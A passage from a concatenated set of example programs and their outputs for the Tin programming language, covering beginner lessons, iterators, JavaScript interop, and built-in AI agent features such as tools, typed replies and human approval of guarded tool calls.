let counts = setOf("mississippi".chars())
print(counts)
print(sort("tin".chars()))
} arm-2: true
2arm: false
señor: true
bad name: false
Khoor, Wlq!
Hello, Tin!
[241, 8364, 128512]
vowel
digit
{'m', 'i', 's', 'p'}
['i', 'n', 't'] tin run examples/29-iterators.tin// for over your own types.
//
// An iterator has `next`: it changes itself and gives Some(item), then None.
// A collection has `iter`: it gives something for to walk (an array, a Map, a Set or an iterator).
/// Joint angles from a recorded trajectory, one sample per tick, at most `limit` samples.
type Samples = { data: float[], at: int, limit: int }
fn Samples.next(s: inout Samples): Option<float> {
if s.at >= s.data.len || s.at >= s.limit { return None }
s.at += 1
Some(s.data[s.at - 1])
}
/// The Collatz sequence from n down to 1: an iterator with no array behind it.
type Collatz = { n: int, done: bool }
fn Collatz.next(c: inout Collatz): Option<int> {
if c.done { return None }
let v = c.n
if v == 1 { c.done = true } else if v % 2 == 0 { c.n = v / 2 } else { c.n = 3 * v + 1 }
Some(v)
}
/// A fleet is a collection: `for robot in fleet` walks its robots by name.
type Fleet = { robots: Map<string, float> }
fn Fleet.iter(f: Fleet): Map<string, float> => f.robots
fn main() {
let traj = Samples { data: [0.1, 0.4, 0.9, 1.2, 1.4], at: 0, limit: 3 }
for i, a in traj { print("tick {i}: {a} rad") }
var steps: int[] = []
for v in (Collatz { n: 6, done: false }) { steps.push(v) }
print(steps)
let fleet = Fleet { robots: mapOf([("arm", 0.92), ("rover", 0.41)]) }
for name, battery in fleet {
let state = if battery < 0.5 { "charge" } else { "ok" }
print("{name}: {state}")
}
} tick 0: 0.1 rad
tick 1: 0.4 rad
tick 2: 0.9 rad
[6, 3, 10, 5, 16, 8, 4, 2, 1]
arm: ok
rover: charge tin run examples/agents/01-tools.tin// Tools and agents are part of the language.
//
// `tool fn` is an ordinary function the compiler also describes to the model:
// its name, the `///` comments, and a JSON Schema derived from the parameter
// types. See what it generates with: tin tools examples/agents/01-tools.tin
//
// This file uses `model: "mock"`, a built-in offline stand-in that calls the
// tools a prompt names. Swap in a real model to talk to Claude:
// model: "claude-opus-5-5"
/// Add two integers.
tool fn add(
/// The first number
a: int,
/// The second number
b: int,
): int => a + b
/// Divide one integer by another.
tool fn divide(a: int, b: int): Result<int, string> {
// An Err is not a crash: it goes back to the model as a failed tool call,
// and the model gets to try something else.
if b == 0 { return Err("cannot divide by zero") }
Ok(a / b)
}
agent Calculator {
model: "mock"
system: "You are a calculator. Use the tools for every calculation."
tools: [add, divide]
// the agent loop is observable: handlers run as it goes
on toolCall(name, input) => print(" call {name} {input}")
on toolResult(name, output, ok) => print(" {if ok { "result" } else { "failed" }} {name}: {output}")
}
fn main() {
// An agent is called like a function. The loop runs until the model answers:
// model -> tools -> model -> ... -> text
print(Calculator("please add 19 and 23"))
print(Calculator("now divide 10 by 0"))
// agents remember the conversation; reset() starts a new one (turns() counts every model call the agent has made)
print("turns so far: {Calculator.turns()}")
Calculator.reset()
} call add {"a":19,"b":23}
result add: 42
mock: 42
call divide {"a":10,"b":0}
failed divide: cannot divide by zero
mock: error: cannot divide by zero
turns so far: 4 tin run examples/agents/02-typed.tin// A typed call: the type you expect decides the shape of the reply.
//
// `let order: Order = Clerk(...)` makes the compiler generate a JSON Schema for
// Order and the runtime require the model to answer in that shape. What comes
// back is a real Tin value — fields, sum types and all — not a string to parse.
type Size = | Small | Medium | Large
type Order = {
/// What the customer wants to drink
drink: string
size: Size
/// How many cups
quantity: int
/// Extra requests, if any
notes: Option<string>
}
/// The menu price of one cup, in cents.
tool fn price(drink: string, size: Size): int {
let base = if drink.lower().contains("latte") { 450 } else { 300 }
match size {
Small => base
Medium => base + 50
Large => base + 100
}
}
agent Clerk {
model: "mock"
system: "You take coffee orders."
tools: [price]
}
fn total(o: Order): int => price(o.drink, o.size) * o.quantity
fn main() {
let order: Order = Clerk("Two cups please: 2 of the 'oat latte', Large")
print(order)
print("{order.quantity} x {order.drink}")
// a tool fn is still a function: call it yourself any time
print("total: {total(order)} cents")
// the reply type can be as small as an int or a bool
let cents: int = Clerk("what is the price of a Medium 'espresso'?")
print("an espresso costs {cents} cents")
} Order { drink: "oat latte", size: Large, quantity: 2, notes: None }
2 x oat latte
total: 1100 cents
an espresso costs 350 cents tin run examples/agents/03-team.tin// Agents compose with everything else in the language:
// - an agent in another agent's `tools` list becomes a tool (a sub-agent)
// - `spawn` runs agents concurrently on the event loop
// - `|>` chains them, because an agent is called like a function
/// Look up the population of a city, in millions.
tool fn population(city: string): float {
sleep(150ms) // pretend this is a slow lookup
match city {
"Istanbul" => 15.7
"Tokyo" => 14.0
"London" => 8.9
_ => 1.0
}
}
/// Knows facts about cities.
agent Researcher {
model: "mock"
tools: [population]
}
/// Rewrites text for a general audience.
agent Editor { model: "mock" }
agent Lead {
model: "mock"
system: "Delegate research to the Researcher."
tools: [Researcher]
on toolCall(name, input) => print(" lead delegates to {name}")
}
fn main() {
// a sub-agent call
print(Lead("ask the Researcher for the population of 'Istanbul'"))
// Three research tasks at once. One agent holds one conversation, so calls
// to the same agent queue up; fresh() makes a copy with an empty history.
let cities = ["Istanbul", "Tokyo", "London"]
let t0 = now()
let tasks = cities.map(c => spawn Researcher.fresh().ask("population of '{c}'"))
for task in tasks { print(await task) }
// one by one would take at least 450ms; in parallel it is about 150ms, so 300ms leaves room for a busy machine
print(if now() - t0 < 300ms { "ran in parallel" } else { "ran one by one" })
// a pipeline of agents
let summary = "population of 'Tokyo'" |> Researcher |> Editor
print(summary)
} lead delegates to Researcher
mock: mock: 15.7
mock: 15.7
mock: 14
mock: 8.9
ran in parallel
mock: mock: 14 tin run examples/agents/04-approval.tin// `guarded tool fn` puts a human in the loop.
//
// Before a guarded tool runs, the agent loop pauses and the runtime asks for
// approval. If the answer is no, the tool never runs: the model is told the
// call was denied and carries on without it.
//
// tin run examples/agents/04-approval.tin asks you (or denies, if not a terminal)
// tin run examples/agents/04-approval.tin --yes approves everything
/// List the files in the project.
tool fn listFiles(): string[] => ["notes.txt", "draft.md", "old-backup.zip"]
/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"
agent Janitor {
model: "mock"
system: "You tidy up the project. Ask before deleting anything important."
tools: [listFiles, deleteFile]
on toolResult(name, output, ok) => print(" {name} -> {output}")
}
fn main() {
print(Janitor("use listFiles"))
print(Janitor("deleteFile 'old-backup.zip'"))
// Plain code can call a guarded tool too, but only through `approve`, which
// shows a person the exact call first. Calling deleteFile(...) directly is a
// compile error.
match approve deleteFile("draft.md") {
Ok(msg) => print(msg)
Err(why) => print("not done: {why}")
}
} listFiles -> ["notes.txt","draft.md","old-backup.zip"]
mock: ["notes.txt","draft.md","old-backup.zip"]
deleteFile -> Tool call denied by the user. Do not retry it; continue without it.
mock: error: Tool call denied by the user. Do not retry it; continue without it.
not done: denied: deleteFile tin run examples/agents/05-claude.tin --replay tests/tapes/agents-05-claude.json// The same language features, with a real model.
//
// Needs ANTHROPIC_API_KEY (or `ant auth login`) for the Anthropic API.
// Offline: tin run examples/agents/05-claude.tin --replay tests/tapes/agents-05-claude.json
// An agent without `model:` uses $TIN_MODEL, then claude-opus-5-5.
//
// tin run examples/agents/05-claude.tin --trace
/// Add two integers and return the sum.
tool fn add(a: int, b: int): int => a + b
/// Multiply two integers and return the product.
tool fn multiply(a: int, b: int): int => a * b
agent Calculator {
system: "You are a calculator. Use the tools for all arithmetic. Reply with just the number."
tools: [add, multiply]
on toolCall(name, input) => print(" call {name} {input}")
}
type Language = {
name: string
/// The year it first appeared
year: int
paradigm: Paradigm
/// One sentence on what it is known for
knownFor: string
}
type Paradigm = | Functional | ObjectOriented | Procedural | Logic | Multi
agent Historian {
system: "You are a historian of programming languages. Be accurate and brief."
}
fn main() {
// tools: the model decides which to call, the loop runs them
let answer: int = Calculator("What is (17 + 25) * 3?")
print("(17 + 25) * 3 = {answer}")
// typed replies: ask for a list of structs, get a list of structs
let languages: Language[] = Historian("Name three influential programming languages from before 1975.")
for l in languages.sortBy((a, b) => a.year < b.year) {
print("{l.year} {l.name.padRight(8, " ")} {l.paradigm} — {l.knownFor}")
}
// streaming: text handlers fire as the reply arrives
let poet = agent {
system: "You write very short poems."
on text(chunk) => write(chunk)
}
poet("Two lines about the metal tin.")
print()
print("tokens used: {Calculator.tokens() + Historian.tokens() + poet.tokens()}")
} call add {"a":17,"b":25}
call multiply {"a":42,"b":3}
(17 + 25) * 3 = 126
1957 Fortran Procedural — The first widely used high-level language, built for scientific and numerical computing.
1958 Lisp Functional — Brought in garbage collection, homoiconic code-as-data, and symbolic computation, and became central to AI research.
1972 Prolog Logic — The first major logic programming language, used in AI and natural language processing.
Bend it slow and hear it cry,
soft gray metal, Bronze's ally.
tokens used: 3332 tin run examples/agents/06-chat.tin --replay tests/tapes/agents-06-chat.json// An interactive chat with a tool, in thirty lines.
//
// tin run examples/agents/06-chat.tin
//
// Uses $TIN_MODEL or claude-opus-5-5 — see 05-claude.tin for credentials.
/// Roll dice. Returns each die's value.
tool fn roll(
/// How many dice to roll
count: int,
/// How many sides each die has
sides: int,
): Result<int[], string> {
if count < 1 || count > 100 { return Err("count must be between 1 and 100") }
if sides < 2 { return Err("a die needs at least 2 sides") }
Ok(range(0, count).map(i => randomInt(1, sides + 1)))
}
agent GameMaster {
system: "You are a tabletop game master. Keep replies short. Roll dice with the tool whenever chance is involved."
tools: [roll]
on text(chunk) => write(chunk)
on toolCall(name, input) => print("[rolling {input}]")
}
fn main() {
print("Talk to the game master. An empty line quits.")
while true {
let line = input("\n> ")
if line.trim().isEmpty() { break }
GameMaster(line)
print()
}
} Talk to the game master. An empty line quits.
> I kick open the tavern door and try to intimidate the room. Roll for it.
[rolling {"count":1,"sides":20}]
**Intimidation: 17.** That's a success.
The door bangs against the wall and the room goes quiet. A bard stops mid-strum. Two dockhands at the bar slide their mugs away and stare at the floor. A hooded figure in the back corner doesn't move, but you can feel them watching you.
The barkeep, a heavyset dwarf, swallows hard. "N-no trouble wanted here, friend. What'll it be?"
What do you do?
> tin run examples/agents/07-capabilities.tin// Capabilities are checked by the compiler, before anything runs.
//
// `guarded tool fn` means "a person approves every call". The compiler proves
// that on every path: the only way into `wireMoney` is an agent that was given
// it, and the agent loop asks first. Each of these is a compile error:
//
// fn main() { wireMoney("bob", 5) } // skips approval
// tool fn refund(to: string): string => wireMoney(to, 1)
// // an agent could reach it unasked
// agent Clerk { tools: [balance]
// on text(t) => print(wireMoney("me", 1)) } // not given, and skips approval
//
// See what each agent can reach: tin check --caps examples/agents/07-capabilities.tin
/// Look up an account balance.
tool fn balance(account: string): int => 120
/// Move money to another account. A person approves every call.
guarded tool fn wireMoney(to: string, amount: int): string {
// code inside a guarded tool already has approval, so it may call others
audit("wire {amount} to {to}")
}
fn audit(line: string): string {
print(" audit: {line}")
"sent"
}
/// Answers questions about the account. Read-only.
agent Teller {
model: "mock"
tools: [balance]
}
/// Can move money, and delegates questions to the Teller.
agent Banker {
model: "mock"
tools: [Teller, wireMoney]
on toolCall(name, input) => print(" {name} {input}")
}
fn main() {
print(Teller("balance of 'savings'"))
// run with --yes to approve; under `tin test` approval is denied
print(Banker("wireMoney 'bob' 5"))
} mock: 120
wireMoney {"to":"bob","amount":5}
mock: error: Tool call denied by the user. Do not retry it; continue without it. tin run examples/agents/08-fleet.tin --replay tests/tapes/agents-08-fleet.json// A fleet: one planner, two workers, and a person who approves the risky part.
//
// The Planner never touches a robot. It answers with a typed Plan, which is an
// ordinary Tin value, so main() can print it, check it and dispatch it before
// anything moves. Rover and Arm each get only their own tools. The compiler
// proves `scrap` (guarded) is reachable only through Arm's agent loop, where
// a person is asked first.
//
// Offline, from a scripted tape: tin run examples/agents/08-fleet.tin --replay tests/tapes/agents-08-fleet.json --yes
// With a real model: tin run examples/agents/08-fleet.tin --trace
type Zone = | Dock | Shelves | Bench
type Crew = | Wheels | Hands
type Step = {
/// Who does it: Wheels (the rover) or Hands (the arm)
crew: Crew
/// One short instruction for that robot
task: string
}
type Plan = {
goal: string
steps: Step[]
}
/// Drive the rover to a zone. Reports the travel time.
tool fn drive(to: Zone): string {
sleep(30ms)
let t = match to { Dock => 40, Shelves => 25, Bench => 10 }
"arrived at {to} after {t}s"
}
/// Count how many of an item are on the shelves.
tool fn stock(item: string): int => if item.contains("filament") { 3 } else { 0 }
/// Pick items with the arm and place them on the bench.
tool fn pick(item: string, quantity: int): string {
sleep(30ms)
"placed {quantity} x {item} on the bench"
}
/// Scrap an item for good. A person approves every call.
guarded tool fn scrap(item: string, reason: string): string => "scrapped {item} ({reason})"
/// Breaks a goal into steps for the robots. Never acts itself.
agent Planner {
system: "Plan for two robots: Wheels drives and counts, Hands picks and scraps. Short steps."
}
/// The rover. Drives between zones and counts stock.
agent Rover {
system: "You are the rover. Use your tools, then report in one line."
tools: [drive, stock]
on toolCall(name, input) => print(" rover {name} {input}")
}
/// The arm. Picks and scraps items on the bench.
agent Arm {
system: "You are the arm. Use your tools, then report in one line."
tools: [pick, scrap]
on toolCall(name, input) => print(" arm {name} {input}")
}
fn worker(crew: Crew): string => match crew { Wheels => "rover", Hands => "arm" }
fn main() {
let plan: Plan = Planner("Restock the bench with filament and get rid of the cracked spool.")
print("plan: {plan.goal}")
for i, step in plan.steps { print(" {i + 1}. {worker(step.crew)}: {step.task}") }
// The rover and the arm work in parallel; each robot does its own steps in order.
let rover = spawn run(plan.steps.filter(s => s.crew == Wheels), Rover)
let arm = spawn run(plan.steps.filter(s => s.crew == Hands), Arm)
print("rover: {await rover}")
print("arm: {await arm}")
}
fn run(steps: Step[], robot: Agent): string {
var last = "idle"
for step in steps { last = robot(step.task) }
last
} plan: filament on the bench, cracked spool gone
1. rover: drive to the Shelves and check the filament stock
2. arm: pick 2 filament spools onto the bench
3. rover: drive back to the Dock
4. arm: scrap the cracked spool
rover drive {"to":"Shelves"}
rover stock {"item":"filament"}
arm pick {"item":"filament","quantity":2}
rover drive {"to":"Dock"}
arm scrap {"item":"cracked spool","reason":"cracked"}
rover: Back home, arrived at Dock after 40s.
arm: Left the cracked spool alone: scrapping was not approved. tin run examples/agents/09-code.tin --replay tests/tapes/agents-09-code.json// Code as action: the model answers by writing a program.
//
// With `code: true`, an agent's model may write a small Tin program that calls
// the agent's tools, instead of calling them one at a time. Before that program
// runs, the compiler checks it: it may compute, print and call these tools, and
// nothing else. No network, no files, no other agents. Then it runs in a
// WebAssembly instance of its own, with a budget of steps.
//
// A question like the one below would take a dozen separate tool calls. As
// code, it is one round trip, and the arithmetic is done by the program, not
// guessed by the model.
//
// tin run examples/agents/09-code.tin --trace
// tin run examples/agents/09-code.tin --replay tests/tapes/agents-09-code.json
type Reading = { day: int, celsius: float }
/// The cities that have a weather station.
tool fn cities(): string[] => ["Istanbul", "Oslo", "Cairo", "Lima"]
/// Last week's noon temperatures for a city, one reading per day.
tool fn readings(
/// A city from cities()
city: string,
): Result<Reading[], string> {
let base = match city {
"Istanbul" => 18.0
"Oslo" => 6.5
"Cairo" => 31.0
"Lima" => 22.0
_ => return Err("no station in {city}")
}
Ok(range(1, 8).map(day => Reading { day, celsius: base + float(day * 7 % 5) - 2.0 }))
}
agent Meteorologist {
system: "You answer questions about the weather stations. For anything that needs several lookups or arithmetic, write one program with run_code. Be brief."
tools: [cities, readings]
code: true
on toolCall(name, input) => print(if name == "run_code" { " the model wrote a program" } else { " program calls {name} {input}" })
}
fn main() {
print(Meteorologist("Which city had the warmest average last week, and what was each city's average?"))
} the model wrote a program
program calls cities {}
program calls readings {"city":"Istanbul"}
program calls readings {"city":"Oslo"}
program calls readings {"city":"Cairo"}
program calls readings {"city":"Lima"}
Cairo had the warmest average last week, at about 31.3 °C.
Average noon temperature for each city (7 daily readings each):
- Cairo: 31.3 °C
- Lima: 22.3 °C
- Istanbul: 18.3 °C
- Oslo: 6.8 °C tin run examples/agents/10-try.tin// Handling a failed agent call.
//
// A plain agent call either answers or stops the program: hitting maxTurns, a refusal,
// a used-up maxTokens budget, a reply cut off by the output limit, or a provider error (no key, offline) is a panic.
// `A.try(prompt)` makes the same call but returns Result<T, AgentError>, so the program
// can retry, fall back, or explain. The expected type still decides the reply's shape.
//
// tin run examples/agents/10-try.tin
/// Look up the stock level for an item.
tool fn stock(item: string): int => if item == "tea" { 12 } else { 0 }
// One turn is too few to call a tool and then answer, so this agent always gives up.
agent Hasty {
model: "mock"
tools: [stock]
maxTurns: 1
}
agent Patient {
model: "mock"
tools: [stock]
}
// A token budget: input plus output tokens one question may use. The mock model counts
// 4 characters as a token, so this runs out before the tool result comes back.
agent Frugal {
model: "mock"
tools: [stock]
maxTokens: 50
}
type Order = { item: string, quantity: int }
agent Clerk { model: "mock" }
fn explain(e: AgentError): string => match e {
TurnLimit(n) => "gave up after {n} turn(s)"
OverBudget(n) => "used up its {n}-token budget"
Refused(why) => "the model declined: {why}"
Cut => "the reply was cut off"
NoAnswer => "no answer in the right shape"
Failed(why) => "the call failed: {why}"
}
fn lookup(item: string): string {
match Hasty.try("stock of '{item}'") {
Ok(text) => text
Err(e) => {
print("Hasty {explain(e)}; asking Patient")
Patient("stock of '{item}'")
}
}
}
fn main() {
print(lookup("tea"))
let order: Result<Order, AgentError> = Clerk.try("3 of the 'green tea'")
match order {
Ok(o) => print("{o.quantity} x {o.item}")
Err(e) => print(explain(e))
}
match Frugal.try("stock of 'tea'") {
Ok(text) => print(text)
Err(e) => print("Frugal {explain(e)}")
}
// The agent is still usable after an Err, and tokens and turns are counted as usual.
print(Hasty.try("stock of 'tea'").isErr())
print("Hasty made {Hasty.turns()} model calls")
} Hasty gave up after 1 turn(s); asking Patient
mock: 12
3 x green tea
Frugal used up its 50-token budget
true
Hasty made 2 model calls tin run examples/agents/11-timestamps.tin// 64-bit integers at the agent boundary.
//
// JSON numbers are exact only to 2^53, so a nanosecond timestamp would lose digits on its way
// to a model and back. An i64 in a tool or a typed reply travels as a decimal string instead:
// the schema says {"type": "string", "pattern": "^-?[0-9]+$"}, and the runtime parses it back
// exactly, refusing anything that isn't a whole number in range.
//
// tin run examples/agents/11-timestamps.tin
// tin tools examples/agents/11-timestamps.tin # see the schema the model gets
/// Move a timestamp forward.
tool fn later(
/// Nanoseconds since the epoch
at: i64,
/// Nanoseconds to add
by: i64,
): i64 => at + by
type Event = {
/// Nanoseconds since the epoch
at: i64
name: string
}
agent Clock {
model: "mock"
tools: [later]
}
agent Logger { model: "mock" }
fn main() {
// 2^53 + 1: a float64 would round this to 9007199254740992
print(Clock("later \"9007199254740993\" \"2\""))
let e: Event = Logger("'1731660000123456789' 'boot'")
print("{e.name} at {e.at}, one tick later {e.at + 1}")
} mock: 9007199254740995
boot at 1731660000123456789, one tick later 1731660000123456790 tin run examples/agents/12-resume.tin// Saving and restoring an agent.
//
// An agent's state is its conversation, and the runtime hands it over as plain text:
// A.save() gives a string, and A.restore(state) puts it back into an agent. Keep it in a
// file or a database, send it to another machine, and pick the conversation up later,
// after a crash or on another device. restore checks what it is given: anything that is
// not a saved agent, or a conversation that calls tools this agent doesn't have, is an Err.
//
// tin run examples/agents/12-resume.tin
/// Look up how many units of an item are in stock.
tool fn stock(item: string): int => if item == "bolts" { 120 } else { 0 }
agent Clerk {
model: "mock"
tools: [stock]
}
fn main() {
print(Clerk("stock of 'bolts'"))
let saved = Clerk.save()
print("saved after {Clerk.turns()} model calls")
// later, somewhere else: a fresh agent with an empty conversation
let again = Clerk.fresh()
match again.restore(saved) {
Ok(n) => print("restored {n} messages")
Err(why) => print("could not restore: {why}")
}
print(again("stock of 'nuts'"))
print("{again.turns()} model calls in all")
print(again.restore("not a saved agent"))
} mock: 120
saved after 2 model calls
restored 4 messages
mock: 0
4 model calls in all
Err("not a saved agent: the text is not JSON") tin run examples/cli/hello.tin// args() and exit(code): a command-line program.
// tin run examples/cli/hello.tin Ada Grace
fn main() {
let names = args() // the words after the file name
if names.len == 0 {
print("usage: tin run hello.tin <name>...")
exit(2) // stop here, with exit status 2
}
for n in names {
print("hello, {n}")
}
} tin run examples/interop/main.tin// Calling JavaScript from Tin. `import js` names an ES module (a file, a Node
// built-in like "node:os", or an installed package); each `extern fn` is answered
// by an export of the same name. Values cross as plain data, checked against the
// Tin types, the same boundary tools use. Async JS functions just work.
//
// tin run examples/interop/main.tin
import js "./geometry.mjs"
// A block says which module answers which extern. Use it when two imports export the same
// name (a flat extern that several modules export is an error, not a guess).
import js "node:path" {
extern fn basename(path: string): string
}
type Point = { x: float, y: float }
extern fn hypot(a: float, b: float): float
extern fn polygon(sides: int, radius: float): Point[]
extern fn slowUpper(s: string): string
fn main() {
print(hypot(3.0, 4.0))
let square = polygon(4, 1.0)
print("{square.len} corners, first at ({square[0].x}, {square[0].y})")
print(slowUpper("tin"))
print(basename("/robots/arm/pose.tin"))
} tin run examples/learn/00-readme/hero.tin/// Add two integers.
tool fn add(a: int, b: int): int => a + b
/// Delete a file for good. A person approves every call.
guarded tool fn deleteFile(path: string): string => "deleted {path}"
agent Helper { model: "mock", tools: [add, deleteFile] } // or "claude-opus-5-5"
fn main() {
let sum: int = Helper("please add 19 and 23") // a typed reply: a real int
print(sum + 1)
print(Helper("deleteFile 'notes.txt'")) // nobody approved it, so it's denied
} tin run examples/learn/01-hello/greet.tin// A line starting with // is a comment. Tin ignores it.
fn main() {
let name = "Ada"
print("Hello, {name}!") // {name} is replaced by its value
print("{name} has {name.len} letters")
print("2 + 3 = {2 + 3}") // any expression works inside { }
} tin run examples/learn/01-hello/hello.tinfn main() {
print("Hello, Tin!")
} tin run examples/learn/01-hello/mix.fails.tinfn main() {
let year = 2026
print("It is " + year)
} tin run examples/learn/01-hello/short.tinfn main() => print("A one-line program.") tin run examples/learn/01-hello/task-1.solution.tinfn main() {
let name = "Grace"
let city = "Arlington"
print("My name is {name}.")
print("I live in {city}.")
} tin run examples/learn/01-hello/task-2.fails.tinfn main() {
let first = "Tin"
print("Hello from {frist}!")
} tin run examples/learn/01-hello/task-2.solution.tinfn main() {
let first = "Tin"
print("Hello from {first}!")
} tin run examples/learn/01-hello/task-3.solution.tinfn main() {
print("Minutes in a week: {7 * 24 * 60}")
} tin run examples/learn/01-hello/toplevel.fails.tinprint("Hello, Tin!") tin run examples/learn/01-hello/typo.fails.tinfn main() {
let greeting = "Hello"
print(greting)
} tin run examples/learn/02-values/bools.tinfn main() {
let age = 20
let member = false
print(age >= 18)
print(age >= 18 && member) // and
print(age >= 18 || member) // or
print(!member) // not
print("tin" == "tin")
} tin run examples/learn/02-values/char-vs-string.fails.tinfn main() {
let first = "hello".chars()[0]
print(first == "h")
} tin run examples/learn/02-values/chars.tinfn main() {
let word = "héllo"
print(word.len) // 6 bytes: é takes two
let letters = word.chars() // the characters, as char values
print(letters.len) // 5 characters
print(letters)
let first = letters[0] // a char is written in single quotes: 'h'
print(first == 'h')
print(first.upper())
print(int('A')) // its code point
print(char(66))
} tin run examples/learn/02-values/format.tinfn main() {
let price = 3.14159
print("price: {price:.2}") // 2 decimals
print("[{7:>4}] [{7:04}] [{"ok":<4}]") // a width, zeros, left-aligned
let rows = [("tea", 2.5), ("coffee", 13.0)]
for r in rows {
print("{r.0:<8}{r.1:>7.2}") // a little table
}
} tin run examples/learn/02-values/i64.tinfn main() {
let big = i64(2147483647) + i64(1)
print(big)
let bytes = i64(3) * i64(1024) * i64(1024) * i64(1024)
print("3 GiB is {bytes} bytes")
} tin run examples/learn/02-values/let-reassign.fails.tinfn main() {
let score = 10
score = 11
} tin run examples/learn/02-values/let-var.tinfn main() {
let name = "Tin" // let: this name always means this value
var score = 10 // var: this one can change
score = score + 5
score += 1
print("{name} scored {score}")
} tin run examples/learn/02-values/no-mixing.fails.tinfn main() {
let items = 3
let price = 4.5
print(items * price)
} tin run examples/learn/02-values/numbers.tinfn main() {
print(7 / 2) // int / int is integer division
print(7 % 2) // the remainder
print(7.0 / 2.0)
let n = 7
print(float(n) / 2) // convert first to get a fraction
print(int(3.9)) // int() drops the fraction
print((2.0 / 3.0).fixed(2))
} tin run examples/learn/02-values/overflow.panics.tinfn main() {
var big = 2147483647 // the largest int
print("about to add one")
print(big + 1)
} tin run examples/learn/02-values/strings.tinfn main() {
let word = "tin"
print(word.upper())
print(word + " can") // + joins two strings
print("{word} has {word.len} letters")
print(" spaced ".trim())
print("a,b,c".split(","))
print("ha".repeat(3))
print(word.contains("in"))
} tin run examples/learn/02-values/task-1.solution.tinfn main() {
let celsius = 21.5
let fahrenheit = celsius * 9 / 5 + 32
print("{celsius} C is {fahrenheit} F")
} tin run examples/learn/02-values/task-2.fails.tinfn main() {
let apples = 3
let pricePerApple = 0.4
print("Total: {apples * pricePerApple}")
} tin run examples/learn/02-values/task-2.solution.tinfn main() {
let apples = 3
let pricePerApple = 0.4
print("Total: {(float(apples) * pricePerApple).fixed(2)}")
} tin run examples/learn/02-values/task-3.solution.tinfn main() {
let seconds = 100000
let hours = seconds / 3600
let minutes = seconds % 3600 / 60
let rest = seconds % 60
print("{seconds}s is {hours}h {minutes}m {rest}s")
} tin run examples/learn/02-values/types.tinfn main() {
let year = 2026 // int: a whole number
let price = 4.5 // float: a number with a fractional part
let open = true // bool: true or false
let city = "Lisbon" // string: text
print("{year} {price} {open} {city}")
let count: int = 3 // you can write the type when it helps a reader
let ratio: float = 2 // a whole-number literal can be a float
print("{count} {ratio}")
} tin run examples/learn/02-values/wrong-type.fails.tinfn main() {
let count: int = 2.5
} tin run examples/learn/03-functions/arity.fails.tinfn add(a: int, b: int): int => a + b
fn main() {
print(add(1))
} tin run examples/learn/03-functions/arrow.tinfn square(x: int): int => x * x
fn greeting(name: string): string => "Hello, {name}!"
fn main() {
print(square(12))
print(greeting("Ada"))
} tin run examples/learn/03-functions/define.tin// fn name(parameter: type, ...): result type { body }
fn add(a: int, b: int): int {
a + b // the last expression is the result
}
fn main() {
print(add(2, 3))
let total = add(add(1, 2), 10)
print(total)
} tin run examples/learn/03-functions/missing-value.fails.tinfn bonus(score: int): int {
if score > 100 { 10 }
}
fn main() {
print(bonus(120))
} tin run examples/learn/03-functions/no-result.tin// No result type: the function does something instead of computing a value.
fn banner(title: string) {
let line = "=".repeat(title.len + 4)
print(line)
print("| {title} |")
print(line)
}
fn main() {
banner("Tin")
} tin run examples/learn/03-functions/param-types.fails.tinfn add(a, b) => a + b
fn main() {
print(add(1, 2))
} tin run examples/learn/03-functions/recursion.tin// A function can call itself.
fn factorial(n: int): int => if n <= 1 { 1 } else { n * factorial(n - 1) }
fn main() {
print(factorial(5))
print(factorial(12))
} tin run examples/learn/03-functions/return.tinfn describe(n: int): string {
if n < 0 { return "negative" } // return leaves the function early
if n == 0 { return "zero" }
"positive"
}
fn main() {
print(describe(-4))
print(describe(0))
print(describe(9))
} tin run examples/learn/03-functions/task-1.solution.tinfn max3(a: int, b: int, c: int): int {
let ab = if a > b { a } else { b }
if ab > c { ab } else { c }
}
fn main() {
print(max3(3, 9, 4))
print(max3(-1, -5, -2))
print(max3(7, 7, 7))
} tin run examples/learn/03-functions/task-2.solution.tin// Divisible by 4, except centuries, except every 400 years.
fn isLeap(year: int): bool => year % 4 == 0 && (year % 100 != 0 || year % 400 == 0)
fn main() {
print("2024: {isLeap(2024)}")
print("1900: {isLeap(1900)}")
print("2000: {isLeap(2000)}")
print("2026: {isLeap(2026)}")
} tin run examples/learn/03-functions/task-3.fails.tinfn grade(score: int): string {
if score >= 90 { "A" }
else if score >= 75 { "B" }
}
fn main() {
print(grade(80))
} tin run examples/learn/03-functions/task-3.solution.tinfn grade(score: int): string {
if score >= 90 { "A" }
else if score >= 75 { "B" }
else { "C" }
}
fn main() {
print(grade(95))
print(grade(80))
print(grade(40))
} tin run examples/learn/04-control/block-value.tinfn main() {
// a block { } is an expression too: its value is its last line
let area = {
let width = 3
let height = 4
width * height
}
print(area)
} tin run examples/learn/04-control/break-continue.tinfn main() {
for n in 1..20 {
if n % 3 != 0 { continue } // skip to the next n
if n > 10 { break } // leave the loop
print(n)
}
} tin run examples/learn/04-control/for-items.tinfn main() {
for word in ["red", "green", "blue"] {
print(word.upper())
}
for i, word in ["red", "green", "blue"] { // with the position, from 0
print("{i}: {word}")
}
} tin run examples/learn/04-control/for-range.tinfn main() {
for i in 0..3 { // 0, 1 and 2: the end is not included
print("lap {i}")
}
var total = 0
for n in 1..101 {
total += n
}
print("1 + 2 + ... + 100 = {total}")
} tin run examples/learn/04-control/if.tinfn main() {
let temperature = 31
if temperature > 30 {
print("hot")
} else if temperature > 15 {
print("mild")
} else {
print("cold")
}
} tin run examples/learn/04-control/if-value.tinfn main() {
let stock = 0
// with an else, if is an expression: it has a value
let label = if stock == 0 { "sold out" } else { "{stock} left" }
print(label)
print("We have {if stock > 0 { "some" } else { "none" }}.")
} tin run examples/learn/04-control/loop.tinfn main() {
// loop runs until a break (or a return)
var guess = 1.0
var steps = 0
loop {
guess = (guess + 2.0 / guess) / 2.0 // Newton's method for the square root of 2
steps += 1
if steps == 5 { break }
}
print("sqrt(2) is about {guess.fixed(6)} after {steps} steps")
} tin run examples/learn/04-control/no-truthy.fails.tinfn main() {
let items = 3
if items {
print("not empty")
}
} tin run examples/learn/04-control/task-1.solution.tinfn main() {
for n in 1..16 {
let line = if n % 15 == 0 { "FizzBuzz" }
else if n % 3 == 0 { "Fizz" }
else if n % 5 == 0 { "Buzz" }
else { "{n}" }
print(line)
}
} tin run examples/learn/04-control/task-2.solution.tinfn digitSum(number: int): int {
var n = number
var sum = 0
while n > 0 {
sum += n % 10
n = n / 10
}
sum
}
fn main() {
print(digitSum(2026))
print(digitSum(99999))
} tin run examples/learn/04-control/task-3.solution.tinfn main() {
for row in 1..5 {
print("*".repeat(row))
}
} tin run examples/learn/04-control/while.tinfn main() {
var n = 1
while n < 100 {
n = n * 2
}
print("first power of two from 100: {n}")
